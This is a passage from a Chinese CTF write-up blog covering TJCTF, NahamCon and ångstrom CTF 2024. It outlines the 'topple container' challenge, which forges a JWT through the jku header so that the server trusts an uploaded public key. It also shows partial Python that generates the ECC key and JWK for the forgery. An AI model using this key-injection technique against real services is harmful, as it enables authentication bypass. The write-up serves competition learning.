TJCTF 2024 / NahamConCTF 2024 / ångstrom CTF 2024
· 阅读需 25 分钟
[TOC]
TJCTF 2024
高中主办的比赛,可能是最近打的几个比赛中最新手向的。Web题全部是nodejs(看得出出题人应该只会这个),PWN题也没有特别深的技巧,取证有两个题都是strings秒了。
Web - topple container
这 个题本身题目很简单,是一个文件上传+JWT公钥伪造,用到JWT里的jku
字段,这个指向一个json资源文件,声明了JWT签名需要的公钥的URL(可以是本地也可以是http协议远程)。解题思路是上传作为jwk的json文件和公钥文件,然后利用这两个文件的远程路径构造特定JWT,使得服务器会读取我们上传的公钥进行验证。
这里记录一下pyjwt生成jwk的代码(pyjwt这方面还是没那么成熟,可能这个特性用的人很少吧)
import jwt
import json
import jwt.algorithms
from Crypto.PublicKey import ECC
# generate key
mykey = ECC.generate(curve='p256')
with open('mykey.pub','w') as fp:
fp.write(mykey.public_key().export_key(format='PEM'))
with open('mykey.priv','w') as fp:
fp.write(mykey.export_key(format='PEM'))
# generate jwk
from cryptography.hazmat.primitives import serialization
pem_pub = serialization.load_pem_public_key(mykey.public_key().export_key(format='PEM').encode())
jwk_obj = json.loads(jwt.algorithms.ECAlgorithm.to_jwk(pem_pub))
jwk_obj['kid'] = KID